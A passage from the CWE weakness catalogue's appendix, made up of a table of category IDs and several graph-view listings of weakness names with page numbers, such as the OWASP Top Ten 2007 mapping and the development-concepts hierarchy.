<td>SFP Secondary Cluster: Missing Authentication</td>
</tr>
<tr>
<td>C</td>
<td>953</td>
<td>SFP Secondary Cluster: Missing Endpoint Authentication</td>
</tr>
<tr>
<td>C</td>
<td>954</td>
<td>SFP Secondary Cluster: Multiple Binds to the Same Port</td>
</tr>
<tr>
<td>C</td>
<td>955</td>
<td>SFP Secondary Cluster: Unrestricted Authentication</td>
</tr>
<tr>
<td>C</td>
<td>956</td>
<td>SFP Secondary Cluster: Channel Attack</td>
</tr>
<tr>
<td>C</td>
<td>957</td>
<td>SFP Secondary Cluster: Protocol Error</td>
</tr>
<tr>
<td>C</td>
<td>958</td>
<td>SFP Secondary Cluster: Broken Cryptography</td>
</tr>
<tr>
<td>C</td>
<td>959</td>
<td>SFP Secondary Cluster: Weak Cryptography</td>
</tr>
<tr>
<td>C</td>
<td>960</td>
<td>SFP Secondary Cluster: Ambiguous Exception Type</td>
</tr>
<tr>
<td>C</td>
<td>961</td>
<td>SFP Secondary Cluster: Incorrect Exception Behavior</td>
</tr>
<tr>
<td>C</td>
<td>962</td>
<td>SFP Secondary Cluster: Unchecked Status Condition</td>
</tr>
<tr>
<td>C</td>
<td>963</td>
<td>SFP Secondary Cluster: Exposed Data</td>
</tr>
<tr>
<td>C</td>
<td>964</td>
<td>SFP Secondary Cluster: Exposure Temporary File</td>
</tr>
<tr>
<td>C</td>
<td>965</td>
<td>SFP Secondary Cluster: Insecure Session Management</td>
</tr>
<tr>
<td>C</td>
<td>966</td>
<td>SFP Secondary Cluster: Other Exposures</td>
</tr>
<tr>
<td>C</td>
<td>967</td>
<td>SFP Secondary Cluster: State Disclosure</td>
</tr>
<tr>
<td>C</td>
<td>968</td>
<td>SFP Secondary Cluster: Covert Channel</td>
</tr>
<tr>
<td>C</td>
<td>969</td>
<td>SFP Secondary Cluster: Faulty Memory Release</td>
</tr>
<tr>
<td>C</td>
<td>970</td>
<td>SFP Secondary Cluster: Faulty Buffer Access</td>
</tr>
<tr>
<td>C</td>
<td>971</td>
<td>SFP Secondary Cluster: Faulty Pointer Use</td>
</tr>
<tr>
<td>C</td>
<td>972</td>
<td>SFP Secondary Cluster: Faulty String Expansion</td>
</tr>
<tr>
<td>C</td>
<td>973</td>
<td>SFP Secondary Cluster: Improper NULL Termination</td>
</tr>
<tr>
<td>C</td>
<td>974</td>
<td>SFP Secondary Cluster: Incorrect Buffer Length Computation</td>
</tr>
<tr>
<td>C</td>
<td>975</td>
<td>SFP Secondary Cluster: Architecture</td>
</tr>
<tr>
<td>C</td>
<td>976</td>
<td>SFP Secondary Cluster: Compiler</td>
</tr>
<tr>
<td>C</td>
<td>977</td>
<td>SFP Secondary Cluster: Design</td>
</tr>
<tr>
<td>C</td>
<td>978</td>
<td>SFP Secondary Cluster: Implementation</td>
</tr>
<tr>
<td>C</td>
<td>979</td>
<td>SFP Secondary Cluster: Failed Chroot Jail</td>
</tr>
<tr>
<td>C</td>
<td>980</td>
<td>SFP Secondary Cluster: Link in Resource Name Resolution</td>
</tr>
<tr>
<td>C</td>
<td>981</td>
<td>SFP Secondary Cluster: Path Traversal</td>
</tr>
<tr>
<td>C</td>
<td>982</td>
<td>SFP Secondary Cluster: Failure to Release Resource</td>
</tr>
<tr>
<td>C</td>
<td>983</td>
<td>SFP Secondary Cluster: Faulty Resource Use</td>
</tr>
<tr>
<td>Type</td>
<td>ID</td>
<td>Name</td>
</tr>
<tr>
<td>------</td>
<td>-----</td>
<td>----------------------------------------------------------------------</td>
</tr>
<tr>
<td>C</td>
<td>984</td>
<td>SFP Secondary Cluster: Life Cycle</td>
</tr>
<tr>
<td>C</td>
<td>985</td>
<td>SFP Secondary Cluster: Unrestricted Consumption</td>
</tr>
<tr>
<td>C</td>
<td>986</td>
<td>SFP Secondary Cluster: Missing Lock</td>
</tr>
<tr>
<td>C</td>
<td>987</td>
<td>SFP Secondary Cluster: Multiple Locks/Unlocks</td>
</tr>
<tr>
<td>C</td>
<td>988</td>
<td>SFP Secondary Cluster: Race Condition Window</td>
</tr>
<tr>
<td>C</td>
<td>989</td>
<td>SFP Secondary Cluster: Unrestricted Lock</td>
</tr>
<tr>
<td>C</td>
<td>990</td>
<td>SFP Secondary Cluster: Tainted Input to Command</td>
</tr>
<tr>
<td>C</td>
<td>991</td>
<td>SFP Secondary Cluster: Tainted Input to Environment</td>
</tr>
<tr>
<td>C</td>
<td>992</td>
<td>SFP Secondary Cluster: Faulty Input Transformation</td>
</tr>
<tr>
<td>C</td>
<td>993</td>
<td>SFP Secondary Cluster: Incorrect Input Handling</td>
</tr>
<tr>
<td>C</td>
<td>994</td>
<td>SFP Secondary Cluster: Tainted Input to Variable</td>
</tr>
<tr>
<td>C</td>
<td>995</td>
<td>SFP Secondary Cluster: Feature</td>
</tr>
<tr>
<td>C</td>
<td>996</td>
<td>SFP Secondary Cluster: Security</td>
</tr>
<tr>
<td>C</td>
<td>997</td>
<td>SFP Secondary Cluster: Information Loss</td>
</tr>
<tr>
<td>C</td>
<td>998</td>
<td>SFP Secondary Cluster: Glitch in Computation</td>
</tr>
<tr>
<td>V</td>
<td>999</td>
<td>Weaknesses without Software Fault Patterns</td>
</tr>
<tr>
<td>V</td>
<td>1000</td>
<td>Research Concepts</td>
</tr>
<tr>
<td>C</td>
<td>1001</td>
<td>SFP Secondary Cluster: Use of an Improper API</td>
</tr>
<tr>
<td>C</td>
<td>1002</td>
<td>SFP Secondary Cluster: Unexpected Entry Points</td>
</tr>
<tr>
<td>V</td>
<td>1003</td>
<td>Weaknesses for Simplified Mapping of Published Vulnerabilities</td>
</tr>
<tr>
<td>V</td>
<td>1004</td>
<td>Sensitive Cookie Without 'HttpOnly' Flag</td>
</tr>
<tr>
<td>C</td>
<td>1005</td>
<td>Input Validation and Representation</td>
</tr>
<tr>
<td>V</td>
<td>2000</td>
<td>Comprehensive CWE Dictionary</td>
</tr>
</tbody>
</table>
Graph View: CWE-629: Weaknesses in OWASP Top Ten (2007)

CWE-712: OWASP Top Ten 2007 Category A1 - Cross Site Scripting (XSS) (p. 1114)
  - CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (p. 131)

CWE-713: OWASP Top Ten 2007 Category A2 - Injection Flaws (p. 1115)
  - CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection') (p. 117)
  - CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') (p. 159)
  - CWE-90: Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection') (p. 168)
  - CWE-91: XML Injection (aka Blind XPath Injection) (p. 170)
  - CWE-93: Improper Neutralization of CRLF Sequences ('CRLF Injection') (p. 172)

CWE-714: OWASP Top Ten 2007 Category A3 - Malicious File Execution (p. 1115)
  - CWE-434: Unrestricted Upload of File with Dangerous Type (p. 744)
  - CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') (p. 121)
  - CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection') (p. 177)
  - CWE-98: Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') (p. 184)

CWE-715: OWASP Top Ten 2007 Category A4 - Insecure Direct Object Reference (p. 1116)
  - CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') (p. 30)
  - CWE-472: External Control of Assumed-Immutable Web Parameter (p. 795)
  - CWE-639: Authorization Bypass Through User-Controlled Key (p. 990)

CWE-716: OWASP Top Ten 2007 Category A5 - Cross Site Request Forgery (CSRF) (p. 1116)
  - CWE-352: Cross-Site Request Forgery (CSRF) (p. 612)
    - CWE-346: Origin Validation Error (p. 603)
    - CWE-441: Unintended Proxy or Intermediary ('Confused Deputy') (p. 755)
    - CWE-613: Insufficient Session Expiration (p. 962)
    - CWE-642: External Control of Critical State Data (p. 995)

CWE-717: OWASP Top Ten 2007 Category A6 - Information Leakage and Improper Error Handling (p. 1116)
  - CWE-200: Information Exposure (p. 384)
  - CWE-203: Information Exposure Through Discrepancy (p. 390)
  - CWE-209: Information Exposure Through an Error Message (p. 397)
  - CWE-215: Information Exposure Through Debug Information (p. 409)

CWE-718: OWASP Top Ten 2007 Category A7 - Broken Authentication and Session Management (p. 1117)
  - CWE-287: Improper Authentication (p. 508)
  - CWE-301: Reflection Attack in an Authentication Protocol (p. 533)
  - CWE-522: Insufficiently Protected Credentials (p. 865)

CWE-719: OWASP Top Ten 2007 Category A8 - Insecure Cryptographic Storage (p. 1117)
  - CWE-311: Missing Encryption of Sensitive Data (p. 549)
  - CWE-321: Use of Hard-coded Cryptographic Key (p. 566)
  - CWE-325: Missing Required Cryptographic Step (p. 571)
  - CWE-326: Inadequate Encryption Strength (p. 573)

CWE-720: OWASP Top Ten 2007 Category A9 - Insecure Communications (p. 1118)
  - CWE-311: Missing Encryption of Sensitive Data (p. 549)
  - CWE-321: Use of Hard-coded Cryptographic Key (p. 566)
  - CWE-325: Missing Required Cryptographic Step (p. 571)
  - CWE-326: Inadequate Encryption Strength (p. 573)

CWE-721: OWASP Top Ten 2007 Category A10 - Failure to Restrict URL Access (p. 1118)
  - CWE-285: Improper Authorization (p. 502)
  - CWE-288: Authentication Bypass Using an Alternate Path or Channel (p. 513)
CWE-425: Direct Request ('Forced Browsing') (p. 729)
Graph View: CWE-631: Resource-specific Weaknesses

- CWE-632: Weaknesses that Affect Files or Directories (p. 983)
  - CWE-257: Permission Issues (p. 489)
  - CWE-376: Temporary File Issues (p. 656)
  - CWE-60: UNIX Path Link Problems (p. 94)
    - CWE-62: UNIX Hard Link (p. 96)
      - CWE-61: UNIX Symbolic Link (Symlink) Following (p. 95)
    - CWE-275: Permission Issues (p. 489)
    - CWE-216: Containment Errors (Container Errors) (p. 411)
    - CWE-340: Predictability Problems (p. 597)
    - CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition') (p. 628)
      - CWE-386: Symbolic Name not Mapping to Correct Object (p. 668)
  - CWE-63: Windows Path Link Problems (p. 98)
  - CWE-64: Windows Shortcut Following (.LNK) (p. 98)
  - CWE-65: Windows Hard Link (p. 100)
  - CWE-68: Windows Virtual File Problems (p. 104)
    - CWE-67: Improper Handling of Windows Device Names (p. 103)
    - CWE-69: Improper Handling of Windows ::DATA Alternate Data Stream (p. 105)
  - CWE-70: Mac Virtual File Problems (p. 106)
    - CWE-71: Apple '.DS_Store' (p. 106)
    - CWE-72: Improper Handling of Apple HFS+ Alternate Data Stream Path (p. 107)
  - CWE-178: Improper Handling of Case Sensitivity (p. 343)
  - CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') (p. 30)
  - CWE-243: Creation of chroot Jail Without Changing Working Directory (p. 434)
  - CWE-260: Password in Configuration File (p. 464)
  - CWE-282: Improper Ownership Management (p. 498)
  - CWE-284: Improper Access Control (p. 500)
  - CWE-41: Improper Resolution of Path Equivalence (p. 73)
  - CWE-434: Unrestricted Upload of File with Dangerous Type (p. 744)
  - CWE-533: Information Exposure Through Server Log Files (p. 876)
  - CWE-552: Files or Directories Accessible to External Parties (p. 892)
  - CWE-59: Improper Link Resolution Before File Access ('Link Following') (p. 91)
  - CWE-67: Improper Handling of Windows Device Names (p. 103)
  - CWE-785: Use of Path Manipulation Function without Maximum-sized Buffer (p. 1207)
  - CWE-98: Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') (p. 184)

- CWE-633: Weaknesses that Affect Memory (p. 983)
  - CWE-251: Often Misused: String Management (p. 446)
  - CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer (p. 226)
  - CWE-120: Buffer Copy without Checking Size of Input ('Classic Buffer Overflow') (p. 234)
  - CWE-122: Heap-based Buffer Overflow (p. 245)
  - CWE-129: Improper Validation of Array Index (p. 258)
  - CWE-134: Use of Externally-Controlled Format String (p. 277)
  - CWE-14: Compiler Removal of Code to Clear Buffers (p. 12)
  - CWE-226: Sensitive Information Uncleared Before Release (p. 417)
  - CWE-244: Improper Clearing of Heap Memory Before Release ('Heap Inspection') (p. 435)
  - CWE-316: Cleartext Storage of Sensitive Information in Memory (p. 560)
  - CWE-401: Improper Release of Memory Before Removing Last Reference ('Memory Leak') (p. 695)
  - CWE-415: Double Free (p. 718)
  - CWE-416: Use After Free (p. 720)
  - CWE-591: Sensitive Data Storage in Improperly Locked Memory (p. 934)
  - CWE-763: Release of Invalid Pointer or Reference (p. 1167)
Appendix A - Graph Views: CWE-631: Resource-specific Weaknesses

CWE-785: Use of Path Manipulation Function without Maximum-sized Buffer (p. 1207)
CWE-634: Weaknesses that Affect System Processes (p. 984)
CWE-387: Signal Errors (p. 670)
CWE-114: Process Control (p. 215)
CWE-214: Information Exposure Through Process Environment (p. 408)
CWE-266: Incorrect Privilege Assignment (p. 472)
CWE-273: Improper Check for Dropped Privileges (p. 486)
CWE-364: Signal Handler Race Condition (p. 636)
CWE-366: Race Condition within a Thread (p. 641)
CWE-383: J2EE Bad Practices: Direct Use of Threads (p. 664)
CWE-403: Exposure of File Descriptor to Unintended Control Sphere ('File Descriptor Leak') (p. 698)
CWE-421: Race Condition During Access to Alternate Channel (p. 726)
CWE-422: Unprotected Windows Messaging Channel ('Shatter') (p. 727)
CWE-479: Signal Handler Use of a Non-reentrant Function (p. 809)
CWE-572: Call to Thread run() instead of start() (p. 912)
CWE-69: Improper Handling of Windows ::DATA Alternate Data Stream (p. 105)
CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') (p. 121)
CWE-88: Argument Injection or Modification (p. 155)
CWE-426: Untrusted Search Path (p. 731)
CWE-275: Permission Issues (p. 489)
CWE-216: Containment Errors (Container Errors) (p. 411)
CWE-471: Modification of Assumed-Immutable Data (MAID) (p. 793)
Graph View: CWE-678: Composites

- **CWE-352**: Cross-Site Request Forgery (CSRF) (p. 612)
  - **CWE-346**: Origin Validation Error (p. 603)
- **CWE-441**: Unintended Proxy or Intermediary ('Confused Deputy') (p. 755)
- **CWE-613**: Insufficient Session Expiration (p. 962)
- **CWE-642**: External Control of Critical State Data (p. 995)
- **CWE-384**: Session Fixation (p. 665)
  - **CWE-346**: Origin Validation Error (p. 603)
- **CWE-441**: Unintended Proxy or Intermediary ('Confused Deputy') (p. 755)
- **CWE-472**: External Control of Assumed-Immutable Web Parameter (p. 795)
- **CWE-426**: Untrusted Search Path (p. 731)
  - **CWE-275**: Permission Issues (p. 489)
  - **CWE-216**: Containment Errors (Container Errors) (p. 411)
  - **CWE-471**: Modification of Assumed-Immutable Data (MAID) (p. 793)
- **CWE-61**: UNIX Symbolic Link (Symlink) Following (p. 95)
  - **CWE-275**: Permission Issues (p. 489)
  - **CWE-216**: Containment Errors (Container Errors) (p. 411)
- **CWE-340**: Predictability Problems (p. 597)
- **CWE-362**: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition') (p. 628)
- **CWE-386**: Symbolic Name not Mapping to Correct Object (p. 668)
- **CWE-689**: Permission Race Condition During Resource Copy (p. 1072)
  - **CWE-362**: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition') (p. 628)
  - **CWE-732**: Incorrect Permission Assignment for Critical Resource (p. 1124)
Appendix A - Graph Views: CWE-699: Development Concepts

Graph View: CWE-699: Development Concepts

- CWE-16: Configuration (p. 15)
- CWE-4: J2EE Environment Issues (p. 2)
  - CWE-5: J2EE Misconfiguration: Data Transmission Without Encryption (p. 2)
  - CWE-555: J2EE Misconfiguration: Plaintext Password in Configuration File (p. 894)
  - CWE-6: J2EE Misconfiguration: Insufficient Session-ID Length (p. 3)
  - CWE-7: J2EE Misconfiguration: Missing Custom Error Page (p. 5)
  - CWE-8: J2EE Misconfiguration: Entity Bean Declared Remote (p. 6)
  - CWE-9: J2EE Misconfiguration: Weak Access Permissions for EJB Methods (p. 7)
- CWE-519: .NET Environment Issues (p. 863)
  - CWE-10: ASP.NET Environment Issues (p. 8)
    - CWE-11: ASP.NET Misconfiguration: Creating Debug Binary (p. 8)
    - CWE-12: ASP.NET Misconfiguration: Missing Custom Error Page (p. 9)
    - CWE-13: ASP.NET Misconfiguration: Password in Configuration File (p. 11)
    - CWE-554: ASP.NET Misconfiguration: Not Using Input Validation Framework (p. 893)
    - CWE-556: ASP.NET Misconfiguration: Use of Identity Impersonation (p. 894)
  - CWE-520: .NET Misconfiguration: Use of Impersonation (p. 864)
- CWE-19: Data Processing Errors (p. 18)
- CWE-133: String Errors (p. 277)
  - CWE-251: Often Misused: String Management (p. 446)
  - CWE-134: Use of Externally-Controlled Format String (p. 277)
  - CWE-135: Incorrect Calculation of Multi-Byte String Length (p. 282)
  - CWE-597: Use of Wrong Operator in String Comparison (p. 940)
- CWE-136: Type Errors (p. 284)
  - CWE-681: Incorrect Conversion between Numeric Types (p. 1060)
  - CWE-194: Unexpected Sign Extension (p. 375)
  - CWE-195: Signed to Unsigned Conversion Error (p. 377)
  - CWE-196: Unsigned to Signed Conversion Error (p. 380)
  - CWE-197: Numeric Truncation Error (p. 381)
  - CWE-704: Incorrect Type Conversion or Cast (p. 1107)
  - CWE-843: Access of Resource Using Incompatible Type ('Type Confusion') (p. 1291)
- CWE-137: Representation Errors (p. 284)
  - CWE-171: Cleansing, Canonicalization, and Comparison Errors (p. 332)
  - CWE-172: Encoding Error (p. 333)
  - CWE-173: Improper Handling of Alternate Encoding (p. 335)
  - CWE-174: Double Decoding of the Same Data (p. 336)
  - CWE-175: Improper Handling of Mixed Encoding (p. 338)
  - CWE-176: Improper Handling of Unicode Encoding (p. 339)
  - CWE-177: Improper Handling of URL Encoding (Hex Encoding) (p. 341)
  - CWE-178: Improper Handling of Case Sensitivity (p. 343)
  - CWE-179: Incorrect Behavior Order: Early Validation (p. 345)
  - CWE-180: Incorrect Behavior Order: Validate Before Canonicalize (p. 347)
  - CWE-181: Incorrect Behavior Order: Validate Before Filter (p. 349)
  - CWE-182: Collapse of Data into Unsafe Value (p. 350)
  - CWE-183: Permissive Whitelist (p. 352)
  - CWE-184: Incomplete Blacklist (p. 352)
  - CWE-185: Incorrect Regular Expression (p. 355)
    - CWE-186: Overly Restrictive Regular Expression (p. 356)
    - CWE-625: Permissive Regular Expression (p. 975)
    - CWE-777: Regular Expression without Anchors (p. 1195)
  - CWE-187: Partial Comparison (p. 357)
  - CWE-478: Missing Default Case in Switch Statement (p. 806)
  - CWE-486: Comparison of Classes by Name (p. 822)
  - CWE-595: Comparison of Object References Instead of Object Contents (p. 938)
    - CWE-597: Use of Wrong Operator in String Comparison (p. 940)
CWE-596: Incorrect Semantic Object Comparison (p. 939)
CWE-697: Insufficient Comparison (p. 1081)
CWE-707: Improper Enforcement of Message or Data Structure (p. 1110)
CWE-768: Incorrect Short Circuit Evaluation (p. 1176)
CWE-138: Improper Neutralization of Special Elements (p. 284)
CWE-169: Technology-Specific Special Elements (p. 327)
CWE-170: Improper Null Termination (p. 328)
CWE-140: Improper Neutralization of Delimiters (p. 287)
CWE-141: Improper Neutralization of Parameter/Argument Delimiters (p. 289)
CWE-142: Improper Neutralization of Value Delimiters (p. 290)
CWE-143: Improper Neutralization of Record Delimiters (p. 291)
CWE-144: Improper Neutralization of Line Delimiters (p. 293)
CWE-145: Improper Neutralization of Section Delimiters (p. 294)
CWE-146: Improper Neutralization of Expression/Command Delimiters (p. 296)
CWE-147: Improper Neutralization of Input Terminators (p. 297)
CWE-148: Improper Neutralization of Input Leaders (p. 298)
CWE-149: Improper Neutralization of Quoting Syntax (p. 299)
CWE-150: Improper Neutralization of Escape, Meta, or Control Sequences (p. 301)
CWE-151: Improper Neutralization of Comment Delimiters (p. 302)
CWE-152: Improper Neutralization of Macro Symbols (p. 304)
CWE-153: Improper Neutralization of Substitution Characters (p. 305)
CWE-154: Improper Neutralization of Variable Name Delimiters (p. 307)
CWE-155: Improper Neutralization of Wildcards or Matching Symbols (p. 308)
CWE-156: Improper Neutralization of Whitespace (p. 309)
CWE-157: Failure to Sanitize Paired Delimiters (p. 311)
CWE-158: Improper Neutralization of Null Byte or NUL Character (p. 312)
CWE-159: Failure to Sanitize Special Element (p. 314)
CWE-160: Improper Neutralization of Leading Special Elements (p. 316)
CWE-161: Improper Neutralization of Multiple Leading Special Elements (p. 317)
CWE-162: Improper Neutralization of Trailing Special Elements (p. 319)
CWE-163: Improper Neutralization of Multiple Trailing Special Elements (p. 320)
CWE-164: Improper Neutralization of Internal Special Elements (p. 321)
CWE-165: Improper Neutralization of Multiple Internal Special Elements (p. 323)
CWE-166: Improper Handling of Missing Special Element (p. 324)
CWE-167: Improper Handling of Additional Special Element (p. 325)
CWE-168: Improper Handling of Inconsistent Special Elements (p. 326)
CWE-790: Improper Filtering of Special Elements (p. 1217)
CWE-791: Incomplete Filtering of Special Elements (p. 1217)
CWE-792: Incomplete Filtering of One or More Instances of Special Elements (p. 1218)
CWE-793: Only Filtering One Instance of a Special Element (p. 1219)
CWE-794: Incomplete Filtering of Multiple Instances of Special Elements (p. 1220)
CWE-795: Only Filtering Special Elements at a Specified Location (p. 1221)
CWE-796: Only Filtering Special Elements Relative to a Marker (p. 1222)
CWE-797: Only Filtering Special Elements at an Absolute Position (p. 1222)
CWE-188: Reliance on Data/Memory Layout (p. 359)
CWE-228: Improper Handling of Syntactically Invalid Structure (p. 420)
CWE-229: Improper Handling of Values (p. 422)
CWE-230: Improper Handling of Missing Values (p. 422)
CWE-231: Improper Handling of Extra Values (p. 423)
CWE-232: Improper Handling of Undefined Values (p. 424)
CWE-233: Improper Handling of Parameters (p. 425)
CWE-234: Failure to Handle Missing Parameter (p. 426)
CWE-235: Improper Handling of Extra Parameters (p. 427)
CWE-236: Improper Handling of Undefined Parameters (p. 428)
Appendix A - Graph Views: CWE-699: Development Concepts

CWE-237: Improper Handling of Structural Elements (p. 429)
- CWE-238: Improper Handling of Incomplete Structural Elements (p. 429)
- CWE-239: Failure to Handle Incomplete Element (p. 430)
- CWE-240: Improper Handling of Inconsistent Structural Elements (p. 430)

CWE-499: Serializable Class Containing Sensitive Data

CWE-251: Improper Handling of Unexpected Data Type (p. 431)

CWE-189: Numeric Errors (p. 380)
- CWE-129: Improper Validation of Array Index (p. 258)
- CWE-198: Use of Incorrect Byte Ordering (p. 383)

CWE-681: Incorrect Calculation (p. 1063)
- CWE-192: Integer Coercion Error (p. 368)
- CWE-128: Wrap-around Error (p. 256)
- CWE-131: Incorrect Calculation of Buffer Size (p. 269)
- CWE-190: Integer Overflow or Wraparound (p. 361)
- CWE-191: Integer Underflow (Wrap or Wraparound) (p. 367)
- CWE-193: Off-by-one Error (p. 371)
- CWE-369: Divide By Zero (p. 648)

CWE-839: Numeric Range Comparison Without Minimum Check (p. 1283)
- CWE-199: Information Management Errors (p. 384)
- CWE-200: Information Exposure (p. 384)
- CWE-201: Information Exposure Through Sent Data (p. 388)
- CWE-202: Exposure of Sensitive Data Through Data Queries (p. 389)
- CWE-203: Information Exposure Through Discrepancy
  - CWE-204: Response Discrepancy Information Exposure (p. 392)
  - CWE-205: Information Exposure Through Behavioral Discrepancy (p. 394)
    - CWE-206: Information Exposure of Internal State Through Behavioral Inconsistency (p. 395)
    - CWE-207: Information Exposure Through an External Behavioral Inconsistency (p. 396)
  - CWE-208: Information Exposure Through Timing Discrepancy (p. 396)
  - CWE-209: Information Exposure Through an Error Message (p. 397)
    - CWE-210: Information Exposure Through Self-generated Error Message (p. 402)
      - CWE-535: Information Exposure Through Shell Error Message (p. 877)
      - CWE-536: Information Exposure Through Servlet Runtime Error Message (p. 878)
      - CWE-537: Information Exposure Through Java Runtime Error Message (p. 879)
    - CWE-211: Information Exposure Through Externally-generated Error Message (p. 404)
    - CWE-550: Information Exposure Through Server Error Message (p. 890)
- CWE-212: Improper Cross-boundary Removal of Sensitive Data (p. 405)
- CWE-213: Intentional Information Exposure (p. 407)
- CWE-214: Information Exposure Through Process Environment (p. 408)
- CWE-215: Information Exposure Through Debug Information (p. 409)
- CWE-226: Sensitive Information Uncleared Before Release (p. 417)
- CWE-497: Exposure of System Data to an Unauthorized Control Sphere (p. 842)
- CWE-498: Cloneable Class Containing Sensitive Information (p. 844)
- CWE-499: Serializable Class Containing Sensitive Data (p. 845)
- CWE-524: Information Exposure Through Caching (p. 869)
  - CWE-525: Information Exposure Through Browser Caching (p. 870)
  - CWE-526: Information Exposure Through Environmental Variables (p. 871)
- CWE-538: File and Directory Information Exposure (p. 880)
  - CWE-527: Exposure of CVS Repository to an Unauthorized Control Sphere (p. 871)
  - CWE-528: Exposure of Core Dump File to an Unauthorized Control Sphere (p. 872)
CWE-529: Exposure of Access Control List Files to an Unauthorized Control Sphere (p. 873)
CWE-530: Exposure of Backup File to an Unauthorized Control Sphere (p. 873)
CWE-532: Information Exposure Through Log Files (p. 875)
CWE-533: Information Exposure Through Server Log Files (p. 876)
CWE-534: Information Exposure Through Debug Log Files (p. 877)
CWE-542: Information Exposure Through Cleanup Log Files (p. 884)
CWE-539: Information Exposure Through Persistent Cookies (p. 882)
CWE-540: Information Exposure Through Source Code (p. 882)
CWE-531: Information Exposure Through Test Code (p. 874)
CWE-541: Information Exposure Through Include Source Code (p. 883)
CWE-615: Information Exposure Through Comments (p. 964)
CWE-548: Information Exposure Through Directory Listing (p. 889)
CWE-651: Information Exposure Through WSDL File (p. 1010)
CWE-598: Information Exposure Through Query Strings in GET Request (p. 941)
CWE-612: Information Exposure Through Indexing of Private Data (p. 962)
CWE-216: Containment Errors (Container Errors) (p. 411)
CWE-219: Sensitive Data Under Web Root (p. 412)
CWE-220: Sensitive Data Under FTP Root (p. 413)
CWE-221: Information Loss or Omission (p. 414)
CWE-222: Truncation of Security-relevant Information (p. 414)
CWE-223: Omission of Security-relevant Information (p. 415)
CWE-778: Insufficient Logging (p. 1196)
CWE-224: Obscured Security-relevant Information by Alternate Name (p. 416)
CWE-779: Logging of Excessive Data (p. 1198)
CWE-461: Data Structure Issues (p. 780)
CWE-462: Duplicate Key in Associative List (Alist) (p. 780)
CWE-463: Deletion of Data Structure Sentinel (p. 781)
CWE-464: Addition of Data Structure Sentinel (p. 783)
CWE-116: Improper Encoding or Escaping of Output (p. 217)
CWE-117: Improper Output Neutralization for Logs (p. 223)
CWE-644: Improper Neutralization of HTTP Headers for Scripting Syntax (p. 1001)
CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') (p. 113)
CWE-134: Use of Externally-Controlled Format String (p. 277)
CWE-138: Improper Neutralization of Special Elements (p. 284)
CWE-169: Technology-Specific Special Elements (p. 327)
CWE-170: Improper Null Termination (p. 328)
CWE-140: Improper Neutralization of Delimiters (p. 287)
CWE-141: Improper Neutralization of Parameter/Argument Delimiters (p. 289)
CWE-142: Improper Neutralization of Value Delimiters (p. 290)
CWE-143: Improper Neutralization of Record Delimiters (p. 291)
CWE-144: Improper Neutralization of Line Delimiters (p. 293)
CWE-145: Improper Neutralization of Section Delimiters (p. 294)
CWE-146: Improper Neutralization of Expression/Command Delimiters (p. 296)
CWE-147: Improper Neutralization of Input Terminators (p. 297)
CWE-148: Improper Neutralization of Input Leaders (p. 298)
CWE-149: Improper Neutralization of Quoting Syntax (p. 299)
CWE-150: Improper Neutralization of Escape, Meta, or Control Sequences (p. 301)
CWE-151: Improper Neutralization of Comment Delimiters (p. 302)
CWE-152: Improper Neutralization of Macro Symbols (p. 304)
CWE-153: Improper Neutralization of Substitution Characters (p. 305)
CWE-154: Improper Neutralization of Variable Name Delimiters (p. 307)
CWE-155: Improper Neutralization of Wildcards or Matching Symbols (p. 308)
CWE-156: Improper Neutralization of Whitespace (p. 309)
Appendix A - Graph Views: CWE-699: Development Concepts

- CWE-157: Failure to Sanitize Paired Delimiters (p. 311)
- CWE-158: Improper Neutralization of Null Byte or NUL Character (p. 312)
- CWE-159: Failure to Sanitize Special Element (p. 314)
  - CWE-160: Improper Neutralization of Leading Special Elements (p. 316)
    - CWE-161: Improper Neutralization of Multiple Leading Special Elements (p. 317)
  - CWE-162: Improper Neutralization of Trailing Special Elements (p. 319)
    - CWE-163: Improper Neutralization of Multiple Trailing Special Elements (p. 320)
  - CWE-164: Improper Neutralization of Internal Special Elements (p. 321)
    - CWE-165: Improper Neutralization of Multiple Internal Special Elements (p. 323)
  - CWE-166: Improper Handling of Missing Special Element (p. 324)
  - CWE-167: Improper Handling of Additional Special Element (p. 325)
  - CWE-168: Improper Handling of Inconsistent Special Elements (p. 326)
- CWE-790: Improper Filtering of Special Elements (p. 1217)
  - CWE-791: Incomplete Filtering of Special Elements (p. 1217)
    - CWE-792: Incomplete Filtering of One or More Instances of Special Elements (p. 1218)
      - CWE-793: Only Filtering One Instance of a Special Element (p. 1219)
      - CWE-794: Incomplete Filtering of Multiple Instances of Special Elements (p. 1220)
    - CWE-795: Only Filtering Special Elements at a Specified Location (p. 1221)
    - CWE-796: Only Filtering Special Elements Relative to a Marker (p. 1222)
    - CWE-797: Only Filtering Special Elements at an Absolute Position (p. 1222)
  - CWE-75: Failure to Sanitize Special Elements into a Different Plane (Special Element Injection) (p. 116)
  - CWE-76: Improper Neutralization of Equivalent Special Elements (p. 116)
- CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection') (p. 117)
- CWE-624: Executable Regular Expression Error (p. 974)
- CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') (p. 121)
- CWE-88: Argument Injection or Modification (p. 155)
- CWE-917: Improper Neutralization of Special Elements used in an Expression Language Statement ('Expression Language Injection') (p. 1348)
- CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (p. 131)
- CWE-80: Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS) (p. 142)
- CWE-81: Improper Neutralization of Script in an Error Message Web Page (p. 144)
- CWE-83: Improper Neutralization of Script in Attributes in a Web Page (p. 147)
